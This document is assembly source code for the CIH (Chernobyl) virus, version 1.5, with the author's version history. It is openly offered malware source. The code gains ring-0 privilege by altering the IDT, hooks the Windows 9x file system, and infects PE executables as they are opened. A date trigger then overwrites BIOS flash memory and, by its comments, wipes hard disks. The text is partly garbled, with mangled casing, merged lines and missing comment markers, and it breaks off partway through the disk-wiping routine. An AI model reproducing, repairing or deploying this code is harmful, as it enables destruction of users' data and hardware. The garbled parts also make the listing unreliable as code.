*********************************************************** ***********************************
; * The Virus Program Information *
*********************************************************** ***********************************
; * *
; * Designer: CIH Source: TTIT of Tatung in Taiwan *
; * Create Date: 04/26/1998 e-mail: [email] wincih.tatung@usa.net [/ email] *
; * Mode Time: 06/01/1998 Version: 1.5 *
; * *
; * Turbo Assembler Version 5.0: Tasm / M CIH *
; * Turbo Link Version 5.01: TLINK / 3 / T CIH, CiH.exe *
; * *
; * ================================================= =========================== *
* Modification History *
; * ================================================= =========================== *
; * V1.0 1. CREATE The Virus Program. *
; * 2. The Virus Modifies IDt To Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code Doesn't reload Into system. *
; * 4. Call IFSMGR_INSTALLESYSTEMAPIHOK to hook file system. *; * 5. Modifies Entry Point of ifsmgr_installFileSystemapiHook. *
; * 6. When System Opens existing pe file, the file will be *
; * Infected, and the file doesn't be reinfected. *
; * 7. IT is also infread, even the file is read-only. *
; * 8. When a file is infected, the model *
; * Of the file also don't be change. *
; * 9. When My Virus Uses ifsmgr_ring0_fileio, IT WILL NOT CALL *
; * Previous FileSystemapihook, It Will Call The Function *
; * That The IFS Manager Would Normal Call To IMPLEMENT *
; * This particular I / O Request. *
; * 10. The Virus Size Is Only 656 bytes. *
; * ================================================= =========================== *
; * V1.1 1. especially, the file what be infreaded will not increable *
; * It's size ... ^ __ ^ *
; * 05/15/1998 2. Hook and modify structured exception handing. *
; * When Exception Error Occurs, OS System Should Be in *
; * Windows Nt. So my cute virus will not contact to run, *
; * It will jmup to originel application to run. *
; * 3. Use better algorithm, reduuce virus code size. *
; * 4. The Virus "Basic" size is online 796 bytes. *; * =========================================================================================================================================================================================== ===================================================================== *
; * V1.2 1. Kill All HardDisk, And Bios ... super ... killer ... *
; * 2. Modify the bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" size is 1003 bytes. *
; * ================================================= =========================== *
; * V1.3 1. Modify the bug what winzip self-extractor occurs error. *
; * So when open winzip self-extractor ==> DON '中文' *
; * 05/24/1998 2. The Virus "Basic" size is 1010 bytes. *
; * ================================================= =========================== *
; * V1.4 1. Full Modify the bug: Winzip self-extractor ocurs error. *; * 2. Change the date of killing computers. *
; * 05/31/1998 3. Modify Virus Version CopyRight. *
; * 4. The Virus "Basic" size is 1019 bytes. *
*********************************************************** ***********************************
; * V1.5 1. Full Modify the bug: Change HardDisk Killing Port *
; * 2. Modify Virus Version Copyright. *
; * 06/01/1998 3. Clear Garbage in Source Code. *
; * 4. The Virus "small" size in 10xx bytes. *
*********************************************************** ***********************************
.56
*********************************************************** ***********************************
; * Original Pe EXECUTABLE File (Don't modify this section) *
*********************************************************** ***********************************
OriginalAppexe Segment
FileHeader:
DB 04DH, 05AH, 090H, 000H, 003H, 000H, 000H, 000H
DB 004H, 000H, 000H, 000H, 0FFH, 0FFH, 000H, 000H
DB 0B8H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 040H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 080H, 000H, 000H, 000H
DB 00, 01FH, 0BAH, 00EH, 000H, 0B4H, 009H, 0CDH
DB 021H, 0B8H, 001H, 04CH, 0CDH, 021H, 054H, 068H
DB 069H, 073H, 020H, 070H, 072H, 06FH, 067H, 072H
DB 061H, 06DH, 020H, 063H, 061H, 06EH, 06EH, 06FH
DB 074H, 020H, 062H, 065H, 020H, 072H, 075H, 06EH
DB 020H, 069H, 06EH, 020H, 044H, 04FH, 053H, 020H
DB 06DH, 06FH, 064H, 065H, 02EH, 00DH, 00DH, 00AHDB 024H, 000H, 000H, 000H, 000H, 000H, 000H
DB 050H, 045H, 000H, 000H, 04CH, 001H, 001H, 000H
DB 0F1H, 068H, 020H, 035H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 0E0H, 000H, 00FH, 001H
DB 00BH, 001H, 005H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 010H, 010H, 000H, 000H, 000H, 010H, 000H, 000H
DB 000H, 020H, 000H, 000H, 000H, 000H, 040H, 000H
DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H
DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 020H, 000H, 000H, 000H, 002H, 000H, 000H
DB 000H, 000H, 000H, 000H, 002H, 000H, 000H, 000H
DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 000H, 000H, 010H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 02EH, 074H, 065H, 078H, 074H, 000H, 000H, 000HDB 000H, 010H, 000H, 000H, 010H, 000H, 000H
DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 020H, 000H, 000H, 060H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 0C3H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DD 00000000h, Virussize
OriginalAppexe Ends
*********************************************************** ***********************************
; * My Virus Game *
*********************************************************** ***********************************
*********************************************************** *********
; * Constant define *
*********************************************************** *********
True = 1
False = 0
Debug = TRUE
IF Debug
FirstkillharDiskNumber = 82H
HOOKEXCEPTIONNUMBER = 06h
Else
FirstkillhardiSknumber = 81H
HOOKEXCEPTIONNUMBER = 04H
ENDIF
FILENAMEBUFFERSIZE = 7FH
*********************************************************** *********
*********************************************************** ******** Virusgame Segment
Assume CS: Virusgame, DS: Virusgame, SS: Virusgame
Assume ES: Virusgame, FS: Virusgame, GS: Virusgame
*********************************************************** *********
; * Ring3 Virus Game Initial Program *
*********************************************************** *********
MyvirusStart:
Push EBP
**********************************************
; * Let's modify structured exception *
; * Handing, prevent exception error *
; * Occurrence, especially in nt. *
**********************************************
Lea Eax, [ESP-04H * 2]
XOR EBX, EBX
XCHG Eax, FS: [EBX]
Call @ 0
@ 0:
POP EBX
Lea Ecx, StoptorUnviruscode- @ 0 [EBX]
Push ECX
Push EAX
**********************************************
; * Let's modify *
; * IDT (Interrupt Descriptor Table) *
; * TO GET RING0 PRIVILEGE ... *
**********************************************
Push Eax;
SIDT [ESP-02H]; Get Idt Base Address
POP EBX;
Add EBX, HOOKEXCEPTIONNUMBER * 08H 04H; ZF = 0
CLI
MOV EBP, [EBX]; Get Exception Base
MOV BP, [EBX-04H]; Entry Point
Lea ESI, MyExceptionHook- @ 1 [ECX]
PUSH ESI
MOV [EBX-04H], Si;
SHR ESI, 16; Modify Exception
MOV [EBX 02H], Si; Entry Point Address
POP ESI
**********************************************
* Generate Exception to get ring0 *
**********************************************
Int hookexceptionNumber; generateException
ReturnadDressofendexception = $
**********************************************
; * Merge All Virus Code Section *
**********************************************
PUSH ESI
Mov ESI, EsloopofmergeAllViruscodeSection:
MOV ECX, [EAX-04H]
REP MOVSB
Sub Eax, 08h
MOV ESI, [EAX]
OR ESI, ESI
JZ Quitloopofmerge; zf = 1
JMP loopofmergeAllViruscodeesection
QuitLoopofmergelectronViruscodeSection:
POP ESI
**********************************************
* Generate Exception Again *
**********************************************
Int hookexceptionNumber; generateexception again
**********************************************
* Let's restore *
; * Structured Exception Handing *
**********************************************
ReadyRESTORESE:
STI
XOR EBX, EBX
JMP Restorese
**********************************************
; * When exception error ocurs, *
; * OOS System Should Be in nt. *
; * SO My Cute Virus Will NOT *
; * Continue To Run, IT JMups to *
; * Original Application To Run. *
**********************************************
StoptorUnviruscode:
@ 1 = stoptorunviruscode
XOR EBX, EBX
Mov Eax, FS: [EBX]
MOV ESP, [EAX]
RESTORESE:
POP DWORD PTR FS: [EBX]
POP EAX
**********************************************
; * Return Original App To Execute *
**********************************************
POP EBP
Push 00401000H; Push Original
OriginalAddressofentryPoint = $ -4; App Entry Point To Stack
Ret; Return to Original App Entry Point
*********************************************************** *********
; * Ring0 Virus Game Initial Program *
*********************************************************** *********
MyExceptionHook:
@ 2 = MyExceptionHook
JZ InstallmyFileSystemapihook
**********************************************
; * Do my virus exist in system!? *; *******************************************
MOV ECX, DR0
Jecxz AllocateSystemMemoryPage
Add DWORD PTR [ESP], ReadyRestorese-returnaddressofendexception
**********************************************
; * Return to Ring3 Initial Program *
**********************************************
Exitring0init:
MOV [EBX-04H], BP;
SHR EBP, 16; Restore Exception
MOV [EBX 02H], BP;
IRETD
**********************************************
; * Allocate SystemMemory Page To Use *
**********************************************
AllocateSystemMemoryPage:
MOV DR0, EBX; Set The Mark of My Virus EXIST ITEM
PUSH 00000000FH;
PUSH ECX;
Push 0FFFFFFFFH;
PUSH ECX;
PUSH ECX;
PUSH ECX;
Push 000000001H;
Push 000,000002h;
INT 20H; vmmcall _PageAllocate
_PageAllocate = $;
DD 00010053H; Use Eax, ECX, EDX, AND FLAGS
Add ESP, 08H * 04H
XCHG EDI, ED; EDI = SystemMemory Start Address
Lea Eax, MyvirusStart- @ 2 [ESI]
IRETD; RETURN TO RING3 INITIAL Program
**********************************************
; * Install My File System API Hook *
**********************************************
InstallmyFileSystemapiHook:
Lea Eax, FileSystemapiHook- @ 6 [EDI]
Push Eax;
INT 20H; vxdcall ifsmgr_installfilesystemapihook
IFSMGR_INSTALLSYSTEMAPIHOK = $
DD 00400067H; USE Eax, ECX, EDX, AND FLAGS
Mov DR0, Eax; Save OldfilesystemapiHook Address
POP Eax; Eax = FileSystemapiHook Address
; Save Old IFSMGR_INSTALLFILESTEMAPIHOOK Entry Point
MOV ECX, IFSMGR_INSTALLSYSTEMAPIHOK- @ 2 [ESI] MOV EDX, [ECX]
Mov OldInstallFileSystemapiHook- @ 3 [EAX], EDX
Modify IFSMGR_INSTALLFILESYSTEMAPIHOK ENTRY POINT
Lea eax, installfilesystemapihook- @ 3 [eax]
MOV [ECX], EAX
CLI
JMP EXITRING0Init
*********************************************************** *********
; * Code size of merge virus code section *
*********************************************************** *********
CODESIZEOFMERGEVIRUSCODESECTION = Offset $
*********************************************************** *********
; * Ifsmgr_installfilesystemapihook *
*********************************************************** *********
InstallFileSystemapihook:
Push EBX
Call @ 4;
@ 4:;
POP EBX; MOV EBX, Offset FileSystemapiHook
Add Ebx, FileSystemapiHook- @ 4;
Push EBX
INT 20H; vxdcall IFSMGR_RemoveFileSystemapiHook
IFSMGR_RemoveFileSystemapiHook = $
DD 00400068H; USE EAX, ECX, EDX, AND FLAGS
POP EAX
Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK
; To Link Client FileSystemapiHook
Push DWORD PTR [ESP 8]
Call OldInstallFilesystemapiHook- @ 3 [EBX]
POP ECX
Push EAX
Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK
; To Link My FileSystemapiHook
Push EBX
Call OldInstallFilesystemapiHook- @ 3 [EBX]
POP ECX
Mov DR0, Eax; Adjust OldfilesystemapiHook Address
POP EAX
POP EBX
RET
*********************************************************** *********
; * Static Data *
*********************************************************** *********
OldInstallFileSystemapiHook DD?
*********************************************************** ********; * IFSMGR_FileSystemHOK *
*********************************************************** *********
**********************************************
; * Ifsmgr_filesystemhook entry point *
**********************************************
FileSystemapiHook:
@ 3 = FileSystemapiHook
Pushhad
Call @ 5;
@ 5:;
POP ESI; MOV ESI, Offset VirusgameDataStartaddress
Add ESI, VirusgameDataStartaddress- @ 5
**********************************************
; * Is Onbusy!? *
**********************************************
TEST BYTE PTR (Onbusy- @ 6) [ESI], 01H; if (Onbusy)
JNZ Pifsfunc; goto pifsfunc
**********************************************
; * Is OpenFile !? *
**********************************************
; if (notopenfile)
Goto Prevhook
Lea EBX, [ESP 20H 04H 04H]
CMP DWORD PTR [EBX], 00000024H
JNE Prevhook
**********************************************
; * Enable Onbusy *
**********************************************
Inc Byte PTR (Onbusy- @ 6) [ESI]; Enable Onbusy
**********************************************
* Get FilePath's Drivenumber, *
; * Ten set the drivename to *
* Filenamebuffer. *
**********************************************
; * EX. If Drivenumber IS 03H, *
* DRIVENAME IS 'C:'. *
**********************************************
Add ESI, FileNameBuffer- @ 6
PUSH ESI
MOV Al, [EBX 04H]
CMP AL, 0FFH
JE Callunitobcspath
Add Al, 40h
MOV AH, ':'
MOV [ESI], EAX
Inc ESI
Inc ESI
**********************************************
; * Unitobcspath *; ********************************************************
; * This service convers *
; * a canonicalized unicode Pathname *
; * to a Normal Pathname in the *
* Specified BCS Character Set. *
**********************************************
CallUnitobcspath:
Push 00000000H
Push filenamebuffersize
MOV EBX, [EBX 10h]
MOV EAX, [EBX 0CH]
Add Eax, 04H
Push EAX
PUSH ESI
INT 20H; vxdcall unitobcspath
Unitobcspath = $
DD 00400041H
Add ESP, 04H * 04H
**********************************************
; * Is filename '.exe'!? *
**********************************************
CMP [ESI EAX-04H], 'EXE.'
POP ESI
JNE Disableonbusy
IF Debug
**********************************************
; * ONLY for debug *
**********************************************
CMP [ESI EAX-06H], 'KCUF'
JNE Disableonbusy
ENDIF
**********************************************
; * Is open existing file!? *
**********************************************
IF (notopenexistingfile)
Goto Disableonbusy
CMP Word PTR [EBX 18H], 01H
JNE Disableonbusy
**********************************************
; * Get Attributes of the file *
**********************************************
MOV AX, 4300H
INT 20H; vxdcall ifsmgr_ring0_fileio
IFSMGR_RING0_FILEIO = $
DD 00400032H
JC Disableonbusy
Push ECX
**********************************************
; * GET IFSMGR_RING0_FILEIO Address *
**********************************************
MOV EDI, DWORD PTR (ifsmgr_ring0_fileio- @ 7) [ESI]
Mov Edi, [EDI]
**********************************************
; * Is Read-Only File !? *
************************************ TEST CL, 01H
JZ OpenFile
**********************************************
; * Modify read-only file to write *
**********************************************
MOV AX, 4301H
XOR ECX, ECX
Call edi; vxdcall ifsmgr_ring0_fileio
**********************************************
; * Open file *
**********************************************
OpenFile:
XOR EAX, EAX
MOV AH, 0D5H
XOR ECX, ECX
XOR EDX, EDX
Inc EDX
MOV EBX, EDX
Inc EBX
Call edi; vxdcall ifsmgr_ring0_fileio
XCHG EBX, EAX; MOV EBX, FileHandle
**********************************************
; * Need to restore *
; * Attributes of the file!? *
**********************************************
POP ECX
Pushf
TEST CL, 01H
JZ Isopenfileok
**********************************************
; * Restore attributes of the file *
**********************************************
MOV AX, 4301H
Call edi; vxdcall ifsmgr_ring0_fileio
**********************************************
; * Is Open file ok!? *
**********************************************
Isopenfileok:
POPF
JC Disableonbusy
**********************************************
* Open file already succeed. ^ __ ^ *
**********************************************
Push ESI; Push FilenaMebuffer Address to Stack
Pushf; Now cf = 0, Push Flag to Stack
Add ESI, DataBuffer- @ 7; MOV ESI, Offset DataBuffer
****************************
; * Get OffsettonewHeader *
****************************
XOR EAX, EAX
MOV AH, 0D6H
For doing minimal viruscode's length,
I Save EAX TO EBP.
MOV EBP, EBP
Push 00000004H
POP ECX
Push 0000003CH
POP EDX
Call edi; vxdcall ifsmgr_ring0_fileiomov Edx, [ESI]
****************************
; * GET 'PE / 0' SIGNATURE *
; * of imagefileHeader, and *
; * Infected mark. *
****************************
Dec edx
MOV EAX, EBP
Call edi; vxdcall ifsmgr_ring0_fileio
****************************
; * Is PE!? *
****************************
; * Is the file *
; * Already infected!? *
****************************
; * Winzip self-extractor *
* Doesn't Have Infected *
* Mark Because My Virus *
; * doesn't infect it. *
****************************
CMP DWORD PTR [ESI], 00455000H
JNE Closefile
**********************************************
; * The file is ^ o ^ *
; * PE (portable executable "indeed. *
**********************************************
; * The file isn't also infected. *
**********************************************
**********************************************
; * Start to infect the file *
**********************************************
; * Registers use status now: *
; * *
; * EAX = 04h *
; * Ebx = file handle *
* ECX = 04h *
; * Edx = 'pe / 0/0' Signature of *
; * ImageFileHeader Pointer's *
* Former byte. *
; * ESI = DataBuffer Address ==> @ 8 *
; * EDI = IFSMGR_RING0_FILEIO Address *
; * EBP = D600H ==> Read data in file *
**********************************************
; * Stack dump: *
; * *
; * ESP => ------------------------- *
; * │ EFLAG (CF = 0) │ *
; * ------------------------- *
; * │ FileNameBufferPointer │ *
; * ------------------------- *; * │ EDI │ *
; * ------------------------- *
; * │ ESI │ *
; * ------------------------- *
; * │ EBP │ *
; * ------------------------- *
; * │ ESP │ *
; * ------------------------- *
; * │ EBX │ *
; * ------------------------- *
; * │ EDX │ *
; * ------------------------- *
; * │ ECX │ *
; * ------------------------- *
; * │ EAX │ *
; * ------------------------- *
; * │ Return Address │ *
; * ------------------------- *
**********************************************
Push Ebx; Save File Handle
Push 00h; set viruscodesectionTablendmark
****************************
; * Let's set the *
; * Virus' Infected Mark *
****************************
Push 01h; size
Push Edx; Pointer Of File
Push Edi; Address of buffer
****************************
; * Save esp register *
****************************
MOV DR1, ESP
****************************
; * Let's set the *
; * NewadDressofentryPoint *
; * (ONLY first set size) *
****************************
Push Eax; Size
****************************
; * Let's read *
; * Image header in file *
****************************
MOV EAX, EBP
Mov Cl, SizeofimageHeadertoread
Add Edx, 07h; Move Edx to Numberofsections
Call edi; vxdcall ifsmgr_ring0_fileio
****************************
; * Let's set the *
; * NewadDressofentryPoint *
; * (Set Pointer of File, *
* Address of buffer * *
****************************
Lea Eax, (AddressofentryPoint- @ 8) [EDX]
Push Eax; Pointer of Filelea Eax, (NewaddressofentryPoint- @ 8) [ESI]
Push Eax; Address Of Buffer
****************************
* Move Edx to the start *
* of sectionTable in file *
****************************
Movzx Eax, Word Ptr (SizeOfoptionalHeader- @ 8) [ESI]
Lea EDX, [EAX EDX 12H]
****************************
* Let's get *
; * Total Size of Sections *
****************************
MOV Al, SizeOfscetAble
I Assume Numberofsections <= 0ffh
MOV CL, (Numberofsections- @ 8) [ESI]
Mul CL
****************************
; * Let's set section table *
****************************
; Move ESI to the Start of SectionTable
Lea ESI, (StartofsectionTable- @ 8) [ESI]
Push Eax; Size
Push Edx; Pointer Of File
Push ESI; Address Of Buffer
****************************
; * The code size of merge *
; * Virus code section and *
; * Total size of virus *
; * Code section Table Must *
; * beall or equal the *
; * Unused Size of *
; * FOLLOWING Section Table *
****************************
Inc ECX
Push Ecx; Save Numberofsections 1
SHL ECX, 03H
Push Ecx; Save TotalsizeofviruscodeSECTIONTABLE
Add ECX, EAX
Add ECX, EDX
Sub ECX, (SizeOfheaders- @ 9) [ESI]
NOT ECX
Inc ECX
; Save My Virus First Section Code
SIZE OF FOLLOWING Section Table ...
NOT INCLUDE TABE OF Virus Code Section Table
Push ECX
XCHG ECX, EAX; ECX = SIZE OF Section Table
; Save Original Address of Entry Point
MOV Eax, (AddressofentryPoint- @ 9) [ESI]
Add Eax, (ImageBase- @ 9) [ESI]
MOV (OriginalAddressofentryPoint- @ 9) [ESI], Eaxcmp Word Ptr [ESP], Small CodesizeOfmergeViruscodeSecion
Jl OnlysetInfectedmark
****************************
; * Read all section Tables *
****************************
MOV EAX, EBP
Call edi; vxdcall ifsmgr_ring0_fileio
****************************
; * Full modify the bug: *
; * Winzip self-extractor *
; * Occurs Error ... *
****************************
; * So when opens *
; * Winzip self-extractor, *
; * Virus doesn't infect it. *
****************************
; * First, virus gets the *
* PointertorawData in the *
; * Second Section Table, *
; * Reads the section Data, *
; * and tests the string of *
; * 'Winzip (r)' ... *
****************************
XCHG EAX, EBP
Push 00000004H
POP ECX
Push Edx
Mov Edx, (SizeOfscectionTable PointertorawData- @ 9) [ESI]
Add Edx, 12h
Call edi; vxdcall ifsmgr_ring0_fileio
CMP DWORD PTR [ESI], 'PIZNIW'
JE NotsetInfectedmark
POP EDX
****************************
; * Let's set total virus *
* Code section table *
****************************
EBX = My Virus First Section Code
SIZE OF FOLLOWING Section Table
POP EBX
POP EDI; EDI = TotalsizeOfviruscodeSECTIONTABLETABLETABLE
POP ECX; ECX = NumberOfsections 1
Push EDI; SIZE
Add Edx, EBP
Push Edx; Pointer Of File
Add EBP, ESI
Push EBP; Address of buffer
****************************
; * Set the first virus *
; * Code section size in *
; * Viruscodeesetable *
****************************
Lea EAX, [EBP EDI-04H]
MOV [EAX], EBX; **********************************
; * Let's set my virus *
; * First section code *
****************************
Push Ebx; SIZE
Add Edx, EDI
Push Edx; Pointer Of File
Lea Edi, (MyvirusStart- @ 9) [ESI]
Push Edi; Address of buffer
****************************
; * Let's modify the *
; * Addressofentrypoint to *
; * My Virus Entry Point *
****************************
MOV (NewaddressofentryPoint- @ 9) [ESI], EDX
****************************
; * Setup initial data *
****************************
Lea Edx, [ESI-SIZEOFSCETONTABLE]
Mov EBP, Offset Virussize
JMP StartTowritecodetosections
****************************
; * WRITE CODE TO Sections *
****************************
Loopofwritecodetosections:
Add Edx, SizeOfScetionTable
MOV EBX, (SizeOfrawData- @ 9) [EDX]
Sub EBX, (Virtualsize- @ 9) [EDX]
Jbe Endofwritecodetosections
Push Ebx; SIZE
Sub Eax, 08h
MOV [EAX], EBX
MOV EBX, (PointertorawData- @ 9) [EDX]
Add ebx, (Virtualsize- @ 9) [EDX]
Push Ebx; Pointer Of File
Push Edi; Address of buffer
Mov EBX, (virtualsize- @ 9) [EDX]
Add ebx, (VirtualAddress- @ 9) [edx]
Add ebx, (ImageBase- @ 9) [ESI]
MOV [EAX 4], EBX
Mov EBX, [EAX]
Add (Virtualsize- @ 9) [EDX], EBX
; Section Contains Initialized Data ==> 00000040H
; Section can be read. ==> 40000000H
OR (Characteristics - @ 9) [EDX], 40000040H
StartToWritecodetosections:
SUB EBP, EBX
Jbe setviruscodeeseTablendmark
Add Edi, EBX; Move Address of buffer
Endofwritecodetosections:
LOOP loopofwritecodetosections; **********************************
; * ONLY SET INFECTED MARK *
****************************
OnlysetInfectedmark:
MOV ESP, DR1
JMP WriteviruscoDetOfile
****************************
; * Not set infread mark *
****************************
NotsetInfectedmark:
Add ESP, 3ch
JMP Closefile
****************************
; * SET VIRUS CODE *
; * Section Table End Mark *
****************************
SetviruscodeeendMark:
Adjust Size of Virus Section Code to Correct Value
Add [EAX], EBP
Add [ESP 08H], EBP
Set end mark
XOR EBX, EBX
MOV [EAX-04H], EBX
****************************
; * When virusgame calls *
; * Vxdcall, vmm modifies *
; * the 'INT 20H' and the *
; * 'Service Identifier' *
* To 'call [xxxxxxxxx]'. *
****************************
; * Before Writing My Virus *
; * To file, i must restore *
; * Them first. ^ __ ^ *
****************************
Lea Eax, (Lastvxdcalladdress-2- @ 9) [ESI]
MOV CL, VXDCALLTABLESIZE
LoopofrestorevxdCallid:
Mov Word Ptr [EAX], 20CDH
MOV EDX, (vxdcallidtable (ECX-1) * 04H- @ 9) [ESI]
MOV [EAX 2], EDX
Movzx EDX, Byte Ptr (VxdcalladdresStable ECX-1- @ 9) [ESI]
Sub Eax, EDX
Loop loopofrestorevxdcallid
****************************
* Let's write *
; * Virus code to the file *
****************************
WritevirusCodetofile:
MOV Eax, DR1
MOV EBX, [EAX 10h]
Mov Edi, [EAX]
LoopofwriteviruscodetOfile:
POP ECX
Jecxz setFileModificationMark
Mov ESI, ECX
MOV EAX, 0D601H
POP EDX
POP ECX
Call edi; vxdcall ifsmgr_ring0_fileiojmp loopofwriteviruscodetofile
****************************
; * Let's set cf = 1 ==> *
* NEED TO RESTORE FILE *
* Modification Time *
****************************
SetFileModificationMark:
POP EBX
POP EAX
STC; ENABLE CF (Carry Flag)
Pushf
**********************************************
* Close file *
**********************************************
Closefile:
XOR EAX, EAX
MOV AH, 0D7H
Call edi; vxdcall ifsmgr_ring0_fileio
**********************************************
; * Need to restore file model *
* Time!? *
**********************************************
POPF
POP ESI
JNC iskillComputer
**********************************************
; * Restore File Modification Time *
**********************************************
MOV EBX, EDI
MOV AX, 4303H
MOV ECX, (filemodificationTime- @ 7) [ESI]
Mov Edi, (FileModificationTime 2- @ 7) [ESI]
Call ebx; vxdcall ifsmgr_ring0_fileio
**********************************************
* Disable onbusy *
**********************************************
Disableonbusy:
Dec Byte Ptr (Onbusy- @ 7) [ESI]; Disable Onbusy
**********************************************
; * Call Previous FileSystemapiHook *
**********************************************
Prevhook:
Popad
MOV EAX, DR0;
JMP [EAX]; Jump to Prevhook
**********************************************
; * Call the function That the IFS *
; * Manager Would Normal Call to *
; * Implement this particular I / o *
* Request. *
**********************************************
PIFSFUNC:
MOV EBX, ESP
PUSH DWORD PTR [EBX 20H 04H 14H]; Push PioreqCall [EBX 20H 04H]; Call Pifunc
POP ECX;
MOV [EBX 1CH], EAX; Modify Eax Value in Stack
****************************
; * After Calling Pifsfunc, *
* Get Some Data from the *
; * Returned pioreq. *
****************************
CMP DWORD PTR [EBX 20H 04H 04H], 00000024H
JNE QuitmyvirusFilesystemhook
*****************
* Get the file *
* Modification *
* Date and Time *
; * in dos format. *
*****************
Mov Eax, [ECX 28h]
MOV (FileModificationTime- @ 6) [ESI], EAX
****************************
* Quit my virus' *
; * Ifsmgr_filesystemhook *
****************************
QuitMyvirusFilesystemHook:
Popad
RET
**********************************************
* Kill Computer !? ... * ^ _ ^ * *
**********************************************
IskillComputer:
Get Now Day from Bios CMOS
MOV Al, 07h
OUT 70H, Al
IN Al, 71H
XOR Al, 01H; ?? / 26 / ????
IF Debug
JMP Disableonbusy
Else
JNZ Disableonbusy
ENDIF
***********************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
* Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
***********************************************
****************************
; * Kill Bios EEPROM *
****************************
MOV BP, 0CF8H
Lea ESI, IOFOREEPROM- @ 7 [ESI]
******************************
; * Show bios Page in *
; * 000E0000 - 000EffFF *
; * (64 kB) *
******************************
MOV EDI, 8000384CH
MOV DX, 0CFEH
CLI
Call ESI
******************************
; * Show bios Page in *
; * 000f0000 - 000ffff *
; * (64 kB) *
******************************
MOV Di, 0058H
Dec Edx; And Al, 0FH
MOV Word Ptr (Booleancalculatecode- @ 10) [ESI], 0F24H
Call ESI
******************************
; * Show the bios extra *
* ROM DATA IN MEMORY *
; * 000E0000 - 000E01FF *
; * (512 BYTES) *
; *, and the section *
; * of extra bios can *
; * be writted ... *
******************************
Lea EBX, EnableeePromTowrite- @ 10 [ESI]
MOV Eax, 0e5555h
Mov ECX, 0E2AAAH
Call EBX
MOV BYTE PTR [EAX], 60H
Push ECX
Loop $
******************************
; * Kill the bios extra *
* ROM DATA IN MEMORY *
; * 000E0000 - 000E007F *
; * (80h Bytes) *
******************************
XOR AH, AH
MOV [EAX], Al
XCHG ECX, EAX
Loop $
******************************
; * Show and enable the *
* BIOS main ROM DATA *
; * 000E0000 - 000ffff *
; * (128 kB) *
; * can be writted ... *
******************************
Mov Eax, 0F5555H
POP ECX
MOV CH, 0AAH
Call EBX
MOV BYTE PTR [EAX], 20HLOOP $
******************************
; * Kill The Bios Main *
* ROM DATA IN MEMORY *
; * 000FE000 - 000FE07F *
; * (80h Bytes) *
******************************
Mov Ah, 0E0H
MOV [EAX], Al
******************************
* Hide Bios Page In *
; * 000f0000 - 000ffff *
; * (64 kB) *
******************************
OR Al, 10h
Mov Word Ptr (Booleancalculatecode- @ 10) [ESI], 100CH
Call ESI
****************************
* Kill All HardDisk *
*********************************************************** **
